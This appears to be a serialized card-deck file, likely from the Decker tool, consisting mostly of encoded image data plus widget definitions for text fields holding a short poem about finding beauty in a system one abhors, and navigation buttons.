95L/7/+/v2v+v////6P3/e/////+Ad3+7/////94O/9+//7c7Lv/7//////////9///////4RDMrOM2Znbs3e3bC////v/9/9v//7/7+//3/9//5/wH3/v//////eDv///7YIz//////////////////////8VmZWY5ltv2t2ft+4v//f+/vd////+//////ff///7yB7////X///zAf///sj//7//f//////////////////+EmTMbLNkyeZN799yP///9r//v//8/d//z//+/////+Ab///9////98D/pJN//////////////////////////kyWa2c5rbb1smvfXBf///S//v//93///f372++///7gH9////////cDMv////////////////////////////5lkxMZzKs29Tbb79yX//f3f/v9//////3f/v//pf3/0B3//7////8x///////////////////////////////8lGlU0kbaye3Nt+9mM//38xvjHP///8v/////////fdAMAA///8CX/////////////////////////////////LMs1tZzFtt6aa33eJP///O5//bW////7/////f+/1fgPAAv9kn////9//////////////////////////////mJkpktmeU28zZt352T/+/2zx/9/3//9////////79/4DQAoHf////////////////////////////////////9bNMlYmJtzP2d2++01//v82b/7////+/3/f////t9P9AMv///////////////////////////////////////8zJM5lsrGmt05Tb/bZf/9/czs/////3///v/+/+ffyhf//////////////////////////////////////////jLMpkZmdOzfm2392lz/9/13/n////////+///+37+////////////////////////////////////////////mmZpRpmZs3Ps6ze81y///883t/////n//77//5/7/////////////////////////////////////////////8zTJzmmsjU24ys3/lnv95/Nj9/////////2/+3c/X////////////////////////////////////////////9lmZilMkzNzPm8t9+uX/9/3enf////v////86Xvfb/////////////////////////////////////////////myTMotnU2tvyx5v5p7f/f852ef////////et/v97v////////////////////////////////////////////6jMZ1qNFlLm9nnb/nW/95/vn/f/////////v/vb+/////////////////////////////////////////////8uZzFNs2ttNPmebd9Nz/7/zYn/f//+////zPr/3ref////////////////////////////////////////////ZyMtlGSpjdt7Rrf9rnv+3+bef9/+nv////7bf+299////////////////////////////////////////////zGYzJdNmnJrdnm2/LPf/f/u077////7//9/u//7//////////////////////////////////////////////7abVLos1NbbPyfTfyW1/f/622/v93f////381v9/L7///////////////////////////////////////////+y2EzKqRMzbb7pnv+YDP//+9O3//dv///9///t//9P////////////////////////////////////////////zUQAAbNpJKzemuv/y2Ad//l22//+////////t/2/f////////////////////////////////////////////7VwAABISZmbXrbr/v2fF//z2m8///////7/77V7b3////////////////////////////////////////////+2mAAAyAACVm8lm///8tP/+7u1v/+////vb///+39/////////////////////////////////////////////maQAADAAAASvbXf////7//rs3f/////7+7////6/f////////////////////////////////////////////s00AACQAACAjttt/v/////zbdu///////v///v//vf////////////////////////////////////////////myAAAyAAAAAcy7f/////n+3Zu/7/////3///9n///////////////////////////////////////////////MqgAAAAAEACHbb//////7/ubtnKf/////+//1/f7/////////////////////////////////////////////5s0AAAAAACAh82z/v///9/57beX////v///7//f///////////////////////////////////////////////NRAAAAAEAAA+2+3f7/9/f+3bZr39v/3/+////////////////////////////////////////////////////ZdgAAAAAEADH+92f4P9ft/Nbbnu///9//f/+/v///////////////////////////////////////////////ywwAADYQAAAQ8993jDnX+/9229nv2//+//Z/v/////////////////////////////////////////////////bJAggSEAAAEP9/994mZ+/822xv2/f/////n////////////////////////////////////////////sP////U2wAAGCAEAAHtb+/HLeft/ttvr2/v/////uf////////////////////////////////////////mEYTH////2zIzECYAAAAx9/vrtm3H9/7ts7a/////////n////////////////////////////////////m34xBGEz////+tkkt0sMCAAAfbe+7Wb1/f9rbzX3f///////f///////////////////////////////////yxh8BNzpN/////MyABBoSREAAD49+/P99f5/bbPX/P///////7///////////////////////////////////8pSfKWcaTf////8pgQAIDJRIAA//9n3/fP//7bc29+///////+j//////////////////////////////////+CUPylnGNx////85gAADAQAEkgP//+53Z7/P7bb23f7//////73v//////////////////////////////////glB8pZljMf////ZtABAAAAAANP////wz+///bbNt3//+//////3//////////////////////////////////5KRRCWZY3f////0xQQAYBgAAAA////dm/u9f2zdt3ffv5/////f//////////////////////+AH/////////+GkMRtmkln////9pgAADAAAAAgH////b3z/3/bbbf63//n////9////////////////////8B8AA//////////hpT94ZhLZ/////KzAABACAAAAA////5l9/7+227d7v////////////////////////z/AAPAeAAP/////////6aU/emYaxH////7JgAAYAwAgAAP///ed/e+/22zf7///////+//1nf////////////gDwAByXCQj/////////+klP3pu0IB////6WwAACAHAgFgB////ZPn//9s3a7+//P///+f//X5/////////wH/ggckkMBiAg//////////hrT945JHN/////aTAABgAgMBAAf///25z/3/21b77/3/////3//v7/////////8B/wCTAASEYAgf/////////6Y0/eP////////ymQAAQAoBAMAH///eZ+u+f3d23//9v/2f/+7/++b/////////Cf4kAxJAkEBAD/////////+md///////////+ayAAGAJAYAgB///3pPP//9szbff////9/9/3/f7f////////iP8gSBAEkEJAJ//////////////////gf///+ymgADAAwIAIANv//2zz/7/27d/f/v//9//3fv//v////////8D/BAICQAEAD+f///////////vg4AIBwB////22gAAgQQDAAAMy//9Z8++/tsz33v3///9+9P3//7////////+S/hEgiOJIJD/7/////////wxh4OAGAcAf///9nsAAMAFAYAADb3z3U+P//9szP3/////rv/f/7/f/////////gP4DyCDgIACwA/////////8MYeHgBhvGH////+ZgABAAwSAIAtnbObPm/9/bu+/3f////u/+9L+//////////4j8S+IESSJCYAP/////////DGHg/D4fxx////73gAAwAICAaACc+/6b7/+/9sz9zv/////u/t1v//////////+C/AfgkQAgEGAD/////////whj4Pw+P8cf////ubAAMAGAwCABpmzy08///7Z3v/z////7v//3/95/////////oPyX4AAk5IDxA/////////8IY8D8fj/HH////e7AADAAwGCYIGt+fTfb/9/bm7+3///3/v/9lmfN/////////4j8B+RIgOAIYCf/////////DGPE/D4fxh////9+0ABgQMCAAAFZ0/Vn3v//26z3/3////9//92tvf////////+C/EfhAhLhAmID/////////4gjxPw+E8A////729AAYEBAwAABVnz7P7f/v/Zv/tvb////f/99vZ//////////kPwX4CBAZEBgA/////////+IY8T8fgPAf////A5YIGDgwOAIAJN7ap+3//+3W2/P/f//////9tvk/////////4T8h+SJCWARJCf/////////iEPEfD4DwD//////97+5oICgAADs235nPf//2d3/79/f7//////Pdx////////+B/CfgACBiBDwD/////////4hHjHw+E8Yf//////bb/+/loAAhJbnzX2/f/97Xvvv4/5tP////9/d/////////kfwPySSEYIAAg/////////+JB4x8fj/GH/////3d2mb7fdssIJlueN9rf//2uvvf7/+/7//+zr+//////////4T8g8AAwSQiQA//////////iAeMfH4/xx/////z3Wf+ndte/d7Te2o+b3//t6//9/LvTH////9vP/////////+AACAEksghIAID/////////4JHjHw+P8cf//////f9u/f3N95+TNnwDNn//9nd77dvfvv3f///e/f/////////kkMJIIDCICQQJ/////////+BB4B8fj/GH////9++t79+fb3n/zLc+wAD3//+d3/c7N33l///+9v8n////////4EQQQiJ4ISxAQf/////////gweAfH4/xx/////37vbt75//fd/+fntjIB//t7397z93tnf/8+71//////////+MCBBDIOQQOEgH/////////8IPADw+Accf//////Pf/7u2299/73P7SJ2//93P/+7r/u/f/59/9///////////gKMEEYThAnwAk//////////DDxy8fgHGH/////+9e2b9/b73/79/efbl///9e9/3///v3////v7//////////5IBoQeR6Eh/JB//////////gwccPH4Bxx//////4C/Zt2/vPb73737z////t/7/ff2/v//////+Pr////////+ATchnAvIT//v//////////8MfHjw+Jf///////8AdgDky877/nb3793/f//7f+/+f///////3Kf//////////jEHyP//////////////////DD3/////////////gHQAIAJLm3/3/+/ff//+79//7P/vNv////9/f/////////7f/////////////////////////////////////YB8AAAAAcB7v2/7m9///v33vfe/vt9X////2f///////////////////////////////////////////////z8AaAAAAAAAHe3737/3//+3f/+f//7t/7///n////////////////////////////////////////////////47gOgAAAABAB9/3983/////9/6/9/+b+/r//uv/////////////////////////////////////////////////oBwAAAAAAAb23f/Pv///tv9////3/e/v/b/v/1//////////////////////////////////////////////++AcAAAAAAAGv397z+///7+7//3///f/7//t+b////////////////////////////////////////////////7AMAIAAAAAB+3t/597///t7////9///5P+763/3/////////////////////////////////////////////5v4DwGAAAAAAd/vf+f/////3//////9////+/3fz//////////////////////////////////////////////+2AYBAAAAAAXW/b/Pf///7fe//////////97/37//////////////////////////////////////////////79AKAMAAAAABv7e/z/b//+99/////X/////v//23//////////////////////////////////7///////////t4CwGAAAAAAf/+v9//////3/////+///////9////////////////////////////////f//bbtt///+//////6AABAAAAAAH//7/d3///9vf///////f//////7////////////////////////////v3/9/////9////////3bAAAAAAAAAB////v/v//+/9////////////8//v//////////////////////////////3/+2zb7/////////f4AAAAAAAAAf////v////vb7////vf///////////////////3/////////////////////3/373/////////+2AAAAAAAAAH/////3f////79///6X///////vv/////////3f3////////////////////f23r3///////////AAAAIAAAAB///473////bb/////9L/////5f3/////////v9/////////////////d//e///u37f//v////++wAAAGAAAAAf//+f/////f/////9+6//////9f//////////79////////////7/e9//////2t/7///v/////7+AAADgAAAAH///n/9///+7e///99v3//////+f/////////3/////////////3+/////v//e7d///////////9+AA/8AAAABv/v57d7//+/9//////Xc3///b+fv///////+/+//////////////////9v//////////////////gAP/gAAAAf//+/9////+33///6v+X///////7////////++////////////////////////////////////ne2AD/4AAAB//1/vf////3/f3///v/3ef///3/+/////////////////////////////////////////////////gA3+AAADe7f2//f/v//d9/3/9f/svv////9/f3///////////////////////////////////////////////8CAAAEELP++vP3/v///v373+/3/+72+///v/13////////////////////////////////////////////////9xgAfoPv/v/z/3vf///fv//////b399/3////P////////////////////////////////////////////+///9l82+P///3Y+/9///99vf7/v///3+x7/////v////////////////////////////////////////////+////7S2sf//9/eP/v////v//f////vX+ub//zv/7/////////////////////////////////////////////////zvMv8B//+/j/ff////fvff////1////7/W//v/////////////////////////////////////////////////KcBf9///74+/e///99vf/////7nP0n/3tv/b/////////////////////////////////////////////////btwX////38f/e////v/cA/f//+vv+W/9///9////////////////////////////////////////////+3///2mYH////v/H3+////7t/AP/t//7//Pn//t/+/////////////////////////////////////////////z///+fZB/v7/vvj/u9///9//gD/yX//f7fl//+3/v/////////////////////////////////////////////////0nQf5////g/u9////5b8A/+z/////r///9n9/////////////////////////////////////////////////3bYH43//74fv97///78fIL/v////////7//9v////////////////////////////////////////////////8tmB4H//78P/d7v/v7/52pP///7f/////X/v7/////////////////////////////////////////////////6bY2D////H/dz//////9bUd///n+9///zf/7/////////////////////////////////////////////////55nmA//+/h/f/3///3/+1bb3//+/b///+3/+//////////////////////////////////////////////////TTNIP/+/w/wA3f/////wSt///+r9////7//z/////////////////////////////////////////////////8cs/n///4f/iAAPv/v/8Gyf9f//bX////v/3//////////////////////////////////////////////////3n/////+H/7/+H3/3/+A3f/1//z9///5f//f///////////////////////////////////////////////////////++Dv/WX9//7//wU1/////mf/9//2/3/////////////////////////////////////////////////////////h/9//ev////8Fmf/////W////f/3/////////////////////////////////////////////////////////4//23v///3/+Bs//////+////b3/v///////////////////////////////////////////////////+f///4P///bv/////gZz/////9v////8/v///////////////////////////////////////////////////+P///+H37t5/v////+TNf/////3/////3/////////////////////////////////////////////////////n////D//v33///n/+9Z3/////v///////////////////////////////////////////////////////////j////h///fe//////oSn//////t/f//3v///////////////////////////////////////////////////wH////w//7d9//////+gA///////d/////////////////////////////////////////////////////////v////8f///v3///n///77/////5e3////f/////////////////////////////////////////////////////////P//2+f+//9///7s//////9/f//////////////////////////////////////////////////////3////v/n///7dv//////+2PP////3D////7//////////////////////////////////////////////////9/////+/7/++/////v//v+D//////33///3//////////////////////////////////////////////////+//////n/t/97t///z//vfv9///////fb/////////////////////////////////////////////////////v//+//h////3////9////8XP///n//32+////////////////////////////////////////////////////7/////wf//+/9/778/4J7nz7//+7r+38/////////////////////////////////////////////////////+////7AD///7v3///7wACmn+///f7/v////////////////////////////////////////////////////////////8Af///vv/////fALq/n///7f/v8ff////////////////////////////////////////////////////////+AH//9/+/////3gA173////9/v/89//////////////////////////////////////////////////////3/sAAn///9///////AB2//////77z7/f//////////////////////////////////////////////////////+J+AB///v9//////4A8Pf///4H///uf/////////////////////////////////////////////////+/v/////+Df///7///////gM/3//8eAeEF1+//////////////////////////////////////////////////+3/////8Dv/veff//////4Av////DwH/xv+///////////////////////////////////////////////////8/////YAf///zf///////gN////g+B+8P/3///////////////////////////////////////////////////3///MUAH///8f///////8gG///IPCABC/////////////////////////////////////////////////////+///97wA///f/v///////xA/3/1AD/AC/////////////////////////////////////////////////////+7/P+//zf/////////+5/+QHx//0A/wB//f///////////////////////////////////////////////////+Ac9v/gP///v9/////n//yA8f/7AAwBe3/////////////////////////////////////////////////////wf8/fwA//vf//9///7/f+oAn//gQfgG///////////////////////////////////////////////////////+7+3//f///+/+9jb4n/P+Be/+4A38R////////////////////////////////////////////////////////gI///////9//vgPhT/J/hN/v4IP/BeX//////////////////////////////////////////////////////AA//8H///9///Bc4N/2f8m//eCGGAD///////////////////////////////////////////////////////AF8H8Az//////Az7++/P/9//3BhggAu//////////////////////////////////////////////////////uP/8/ADP/8///x///u92//f/5gJZOAf///////////////////////////////////////////////////////////wAgYHD/////////s/j//xrcX7Hf////////////////////////////////////////////////////////7/8AV/Bx///////////w9/8AzhgDu/////////////////////////////////////////////////////////v/AN//9///v/////f/wf//4Iv+A/z///////////////////////////////////////////////////////////A//////7///////+H7/+Gb/+N////////////////////////////////////////////////////////////D///v////////9//5zf/gAf8D+v/////////////////////////////////////////////////////////sAf//////z/////f/8/jH/J38E/z///////////////////////////////////////////////////////2///x///////////////d/9/wB+Be0f///w==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[235,31],&#34;pos&#34;:[16,27],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;it is possible to find beauty in the products of a system i abhor&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[223,31],&#34;pos&#34;:[55,69],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;especially when that system tells me i am finding the wrong&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[47,17],&#34;pos&#34;:[243,109],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;things&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field4:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[76,17],&#34;pos&#34;:[263,137],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;beautiful.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{card:card10}&#xA;image:&#34;%%IMG0AgABVt3/v///////////73//+b/f25tmt+299/////5//f95NslkAR////8ycyWbMpWWpskyZNMlTMy2aWmzTM22zbLf72///////////vvf9/6/c/bSerf5b+f////7v39/zciTAAAP///9k5M5UkzMyrkqyzRZrLLMyZaaZttmbLM2+3v///////////++//3W30991bZPm1vb/////7+f/vbqNgAAZ////tycy1WlamrLaqzLTJqss1s21syzO0s2Tf/f///////////9/7//cn+3z2W1e639v/////+e5oAGKSAAARp///7E5JSlMyMzKlmkmmZjJzMyyWWbLMmzTOn//////////////3v/++92pbs43Zvk/v3+////vyY0AIMAABIe////NydlrMyczLOWW2WTTNFMzNs5Zs22tNm2vvt///////////v+++6pva3ty1reU+//7////20AAQAAAAgEpf///bE5OlMy0yzMplMlOTKc2ZsyzmzzNk2zFv/v3//////////+3+//tu2nZttqb9m90/v+P//4gAAAAAMmLf////7NyYrVKmWzWbm0uszNppZmrMubNsnbJtn/ff//////////7+X/31T+01s27bhHs//z/r//4AgAIEAQ/4vX////TFZpLM2ckzMljMpmmTNmbM0y00zbMmzN//f///////////8/d/tbO5nZtt2fZ27f9/9/8YFBIj3g39jb/f///XNUzaNUkszMzGslkrLMaZlzbLTZNmbbNvv/////////////8///6/9kpsny5n3+/f///wQQUt//72Uf//////+WzZZZU2ZszXNjNLTOZZtnLM2tt2WZk2bv////////////f97v3KzlzKR9Pu2f+3////wARl//3/9/8z/+///+yLJyXLZZMzMbHNabJTWSWa2zSyTZtmzZ/3/7///////////3+/e3vbNZlvn32/v//ffxmSXP/////83r/////m5TGaaMzZayyNLJynGabZrTNnLbLmbNm///v///////////tb7+37KzU7L98+bb//38BEW///////z///////+TXM2jaaTMzObaLGWeYszmWs2c22WZsybvv//////////+/e3vu3rKzM5tvvm/PPv/9yRv+v/////3f7/////9syWkWTM2aU02J2c1I02TNazZpyTVtmzs/+3///////////d7e/9va3s7TXv8/d4///Nrvu/////+3////////0zlM1mWUzMzGbFZmdl1NsynNmm2mmabM/3///////////vfm979/aWm5fb9/P+/v//////////+C7////////5smlsmZNmW2s2dkmZWM2yzc2ba22tJs1v/f//7///////+8u73/9+1tba2v/8e7/f//9///////+n/////////ozOUzM2M2UzmZLaWZYzJm1mZlkltu2TM+//+3v/v/////77b+b/+221b7e/+A39///////////8+/////////znMzNmZMy1nMs7M2ZnZm2mc2zW2lKZdtv////f///////u2W+77e9vLW39//2P/X///////////W7////////3MSmsmZtrmstsyZyWaUzZmZmbNttbZlmb3//t////////+7ae7f99t8ub73/84n7/////+////69t////////+ZzMyZmZMkpqZszG0ZmZlm2c02klrW2bZ/vt73///////v3s1+e33d7y2/v//mbf/f///+////Oq9////////+zG1ltmZsznNpp2cz2WszNmZmzNtKWZpm/+/7/////////ve23b//fbtmf///ke3//////t/7/529r+//v////2aTMyZmZrNNWzEyykZmZsmtstttt2Zm2b//f/////////+/av/t7fb829///+W3//////////7N9PpIf/////2yspppmZmZmZbdmky2mZltqZ0zJLW22zZ////////////3/cs7f+2//5l39//2c3/f///////+sta/kg/////+mYzMzZmZZma0zM21qazbNm5lrNtMmZmm//////9v//////91/tu2+3/tf9//8133f/////93/yZatbKf/////s1tZZRmZmzaZzNlMylmZpLTbM2ba21m2b////////////3vVN7/837fbZ////P9vt/////93/1pa31Is/////9kYzZzZmaTM1mzNUpmUyzbNZtzZLNmbNs9v/f/////////f9t3ttm3//b/p//85////////f/+2x/bSWz//v/7M5qZmxmZmY2ZjNbZm5mzZazTNm2cm5sm3+/f////////97frffe9vX/27////79/7/////7v4JCf7mbv/////syYyYzbWWzo5m2YpmiszJzLbM2bZtmzbPf7f/////////3/uZ995u9//7/f//75v8/////+//wGfm22v/////7M52ZkyU5mbltmZzaW5mazMy7ZsmtmbNs/3///////////f/b/33rbv//+////8f/3//////+WwH+3///////7MyU2dzZjkxNJmtXRtRmZptzTNm2ZNs2Tb////////////+/+bffbfs//27//+/V/v//////mIRA9vv/f/////yZZmZJmtJnZtmmYTSVmsyzNnabNttmzbPv///+/////////7b2/7bZ///t////Rr1/////+WyECHv////////zZmmWbmZzszJWtK2zaspppM2TZsmbNNm2/3/b//2////////v2/2/5l/+93///Vv///////1qYSYf/////v//3SaaUaNVLJjNkpu2TSppmy2Z2WzbZNs2Tbf/f/39v///////6elv73Tf/7f////nf7/////myT31wf////////WZk22ZVYzOtOzKUtTNNpJqZm6bNm2bZtn/7+//cm///////7/9vv/bP/vs/////9//////+rf///B////////2ZNmabZnTZpMtbZqWkZLmy22m02WbZNm23/77/3bf///////m9ts/623/6/////P3/////5u///+cP///////umZMkqZqczHbMzGtabbMWZmZM2zZsm2bJv+/u/9JN///////+/5b27m/9vt///7/W//////1////8g///////+uZZmaZZiycTMrOZWpmZ0xmZtktnm2bZtlu/e/+kST//////9t7pm72s73d////vW/7////d/////zT///////8mZm5ZZWMy2WsqVaTGTGnNTads2bNsmzb2////qSaf//////9/7W3bs7Pdf////38////////////fb//////1mZliWZZ02s0szbYtcmcsZWS5tppsm2bJv/v//2km3/3////9/2Vte1+8/7////2/d////e//////6T///////dLJmaaZlskzk1Si0xuZkzM2kpNmzbNs23u+//9EES///////7/bM29Nzb7////Gfv/////////////v/+////5mZk2maZktlnUzTZmkpNaamd5tbbNsmzZ/////kREv+//////7+t7972f7////8//P///////////////////3LTTIWaZlpmTMzXRstLZIyMslrZk2TbNlv///v7DG2///////32bZtzeyfH/P//nff/////////////f//////ZmTM1KaZnLNK2UnZk2TOzdmZbLWzbNk2b/9///MCJ/9///////5N23fu+3/7//s27/////////////3//////zSTLaaa5pMszM22ZNmTMTENNpWZtm2XZp///9/4yM//////////bbbf8m7PnD//f3J////////////+3+/////TNKI52SzmzLUmMyZmWk1OZma1bk2TZMm//////gUz////////+7Ntu/s8j8Q///bf/////3d////////////+yZazSSVLNNMzcszbJMrJSbLJZmbZtm27b/////w1maf///////6bab/Zlzfsn/d3c//////f//////8/9////7jJHM5m2U02yk2mmZspszKZOVqZtm2bJl/////9iMb7////////3bbt/Ndn+B/7/3z/v/////n/////7/////+maWSy2jVpkmzZMyTZbCamTU6ZtmbJstmXv/7/fkoyTf///////2e27+9p6/hP+/63v/////n8/////v//////zSaTJZOmltmVk1nuZSdMmWTGpmbZtmzNv+///59mmfZv///////+2zu5Lzv6D//+v37////2///+N/+f/////3GSmmxkqtRmlTZMmZaxc0mTMWtZmzbNMm///f/vtM23s2//////+8vf99fm/g//753/////9tn//5+b9/v////WWWTLLTJrLOtltmUyzJJmWW1ZmybJs27P///7e/9m2Z2///////943fzZ3veH+/+9//////n9//3b/3//////0mUnMsnNi6kqWbNmykyZlMyMlqZ02zLJn/t//9//u2zM0//////933ffb9v81///jz6////7Nf/9f2/f/////+2WmSZaTNizZZpJmm2zZJUms6TtmzbMmz///t3///u2Z1zf/////+d/921vfxf//8//n///99t//y2///////+pMtLZkzM2lpzm3LMkkyZlMkk7Matk22Zv/bv3f//+0zNvdn/////92/2/L//z+///3/v9//ze//u3v///////8kkslOWzJbTTJZbNs1yzKZnMyp5s2zNsz/3/f////23Zq20P/////3//97///////Zn3///5///+3O///////9bNJaY8jMxnMzlmbM1kzKpMNmbJlZtkmZv23dr///9tnLuzZv////+223+d//3/v//P/////b5//9t////////ZMtZrgtmzSazOaaZZJyTKZsM0ZtZkzbN9vv+/////tmdc2Jm////67v/fx//97//7f7v///z/v//vf///////6SZSSNszNZpM05szZtkzM5JZkzZrbZsmR+v77d///t7ZV27NZv///tu2//7/+3//uV//uf/+////ud///////+zJKZyZJkyzczS02azJzJSZnM2ZqZsy2b7t/3////9rm7drdlm///9/v7/p//v///9f//9//f/f/973///////SWa1mZszKZZMtpsyZNkzMzKZsylzSzM2bN/fb////u2as2bObb//5tu//9///z//+f///////n/9Wf///////9kZFI0pzM0ycyms211SzMzJjI2tTXNs2b999/////v5kz7bs5lv//t/+//T//Mf//+/fv/+//5/4RTv//////+2yWbk5lbUy5bNZs2TNpMknGZpZrSczYs7fb23f///fu3Pv/mzX//7fv//5//4z//y+///////fhBAP///////pKaZNpSyNriZtlpk7MzZMzNjalizppM2f5vv32f//95s+21szJP//fv//+T//tv9+75v/t/+/zGSAg///////9kykxJZi2Mm6TObNmtjJszJGZbPTOm2Zff++v85//v3kzfb2222//bfb//5v/c///v3v/f///+EYJAD//////9mSWbZy2zMzSbM5ZsrOaylLNyVMW0tLNk//5u+z//+ffZM9tszTP/+/////5/3X//nef33//3/ySQEEP//////6ZlMjCZSmZla2TTptMylNWaGaZaTZmmbXfn9+kb/979N22/k3ms/+77b//uf/f////+f+f//fyKRIIz//////9kmWTOxlmZmyydbLNbWs1KSs2rZtprOZn//d+8z//mt+zNtvs2zb//3v//+7//////3////+/+SQAgmf//////2ZpNknLGWZjS0y2daUyzOmWkWZmmzM2Wv/f+1m9t+drbNm2s3tN/+/bf//7/////n/f39f/73xAiAGf//////5JmmTMZMsZm1mzTZZ2zMqWcN1SZNZZmZu39bbM7b99+29Ntpss2f/77f///f//vf///fXf//30kiARv///////mSaZMzTm0yy2NmmzWs0ykw8km5tRzMtl/7ZM5ntv273zZm3M97b//7b///9//////+xf7//9vZIABn///////bZkyySTMJlkpc22bZkzZmmxK6iZPTZqb//+2bve/9vtnvNtZ55mv//Tv//bP/vf7f//7+3//rxMwEt/v/////9i2STMzJtmV01plsznbJmslNhm5abGrJv937f/979//v+Zm3L72b//3f//9b/+v5z/8+z//+7/ZRIJ////////SRM0kymMVtFyWmmzNM21kmbHGkzKuZOy///////v7fdtzPba2zJ//+1///S37b/fP//3f3/9+TMQl/9v/////7WmyzJmZZktm5bNNtszTFcpMtmaaaVaZ/++////+7/992bfm23s3/+z///+3/nfb3/e399/9b2YxGX/+7////6maJls0mUlrJlltszLamNkzTTGYzZczM9///////7v/5/zbaW2zTf3/v+//tu/9++v+++3/+2+ZiUt/5//////yRskiZmZZmNmbTLbNM27KnLNM22WUzMz///////37///nX7ttrNv/+3/v/8z3n/37///fb/6/gEpu//3f////3XJZrMmStlbWprNM2a1LNsSkzkkybNLN9///////bv9/+22mtu63//7+/7/9kz////5////0v8kStv//f////+WbJkmZmoVmMuy2czbNsZRzTTM2mss2M7//////9+/t2/z/7LezJ//2/3fvvnrP////f77//RtgBL0/5//////2SalTJmTZmZspmbbM0rZnG1mRpMyzLbLv//////+5/9/3ttmdvd////97/6Emb////f//f/1tzCB9f/z/////2WypXMk1ZlNlNm2ZszbNuciy3K1lmclN/////t/t9373/v/Tbc7b//t/PD+ctz/+//5/7d/8j5EDft/7/////+0mZoS1kyzabdbMzm2tMok2jkszM0xaWXf///s3/1/7tv/fdm57b//+/8z7/tO/9//v////+NvhEeq/+//////y01azJMyTKpjJs2tMybbuZWMySJhnZs2////tpvva33/9++2Tt3///79j/v8TP/+/7f/zvf5U7M27P/7/////2pkZOU5k1S2mOzZps3bNMs1Zps7OsjGk7///tNu+7/3N//+73bWbf/9/5b7+dGfu9f9////+1sptzd///////+yt5UzTMyXRbabNnLZWaZaZNKyyYyrNNv///7dbbbW/v3/99m3du9v/3/G39t3////7//++envz93Zf/f/////mZCVGMZk41lNs2bdNmbbZs40zJZlNmlP///3fZfs3+3P/91+zZm7P/7/7/38/+///93/3v805v7/mb///////81uacyzMyy2aUzZlc22WZmZjSVks1GPM///2dbW62m9u7//7vmrO5P+//v9/v//7//d////lrv//yb//f////7mSapmMZpMpq5tm2ZpmaZpM2mzM5pNMM///972bbs+9v7/7ru2Zmzt///3/t8Pf///6f35+++z3//Nn///////stYmM4zJk0mlsyZttm22zsxmTJhJtNZn//9nuzvUxt9P2/u/3tTfu/9//f+/n9/2//3/t7757/f/03///////5mTc5jMZTNbNZZ1mZbM0pKllMzPZkaVm///u+/b1tt7eW+93XMzM9r///v+7/9//+/3/77/97vf//bv/3/////NOZjMczTMstps2bZpszt2dTWzMTTZMSf//7783vM5vv9t93ftqS7v/vf//9+/P/+//3/+/vDb3//sv/3/////ZMyMpxMTMoyTay5m7TbMTUzKJKTNJW5n///Pn7e5rt+23/9+7azPue/7/P1/+f//39z/v/92ff//+7///////7LGZmGYzMzttZNm2ZbM07Ga2szOk2UJm///c/P9zOZ3/7b9z7tkk/7X3v/3/3//7f/37+9/5Lm//9r///////+qM2MczrJNJWy02Zty2za2syVbMnJZsmf//7bub3Z1vf23v/d20zbW1/+/evf7///+7n/v//s+///WX///////ybkZsmJLY2ZLbZtmTmbMzMy1MmWMykyX///Nu/v3O5t/3f6b3ZhNtz9pd/899//7/yd/57/7X///td///////3TM2IszTJpa2UtmbbM02VtLTMzMtaZJm///czbe2cr23vf/ru1kybnn/f/17/9//tv2//b//Ntv/6S////////GRobMnLKzMybabZm5mzNSc1NJmmYxs2P//9rW397+3b++/afrSSZu2/6e/b/ff//8/L/Xn/+2b//Kv///////+TK2csSrJaW2M5m2Tctm1py1NmNJmiZP///M23t2ttNvz95butshtt/6z/7v/P+//6f99v/97Z//2m///////6WyYRJnKWyc06zWZtZ02ZmkpbMsmWbJM///922/6e26e3t/zuZkmJt/3mf/7/v////33/+//M33/9Fv///////smxmbOWZK0ljNZtmzNpstM1pJmbZJMyf//7Ntv7977Z/b7bfZNoLNv/2/f7X///3//v/93882d/5lP///////2knOZImZmm9OczmbLZtmZs1KbMZGmSzL///M22723tWm3b61WZpmZu//u/7//30v/+/f997/223/vN///////9NsYkzmTbMpZyzNZtnJbNjMqZMzabbJM///e7b/27d2f7b3rcZrUTJ///+/733sL/9T+//v7t7x/ZJ3//////38kzObNORlszGm1mzWbZmbMrbWbJkkkyX//+rttX3p2U2zXe90zZmZn//8/8v/3Bd75+/+//883n9+X///////ppacskszTMzc2zObNrbTZrNGSYmWaTTP///s27dvbtmbzd9bWzbOzJ/+f73f/vhX//3/9v+7b3p/bZ//////9/lkxIzKTZs2zlms02mSbMyccTm2ZMtMk///t3bbu/Mmtv7rd5t2YmZn//99/K98Dz//v///u/953/T///////3ZKTNls2zm0zNmbWzNba2Zxp2mUzMyYzf///U3+t+9tmezu7bl27szP///e/6d8Ie/9+/d/97e3H72b///////5pspMiyTNM1lm1Mttm2TMzOJJlmalJlK///d3a7d7Nkb3bbe3LudyZ////v/f/AH3+9vf///f7Y++z///////3TEzJrJtlk1nNma0zOSdmZsa2mmZs2Uy///9tv3b/NJ2t3d21Mm52zX/e//fe9hA//rf9//77+xj3+///////vZNJLJVmnPZtNmbNrM202Zk2ZbNMkyZjf///s3ffO/bk+3bXtt2/u3e/7//fX94AH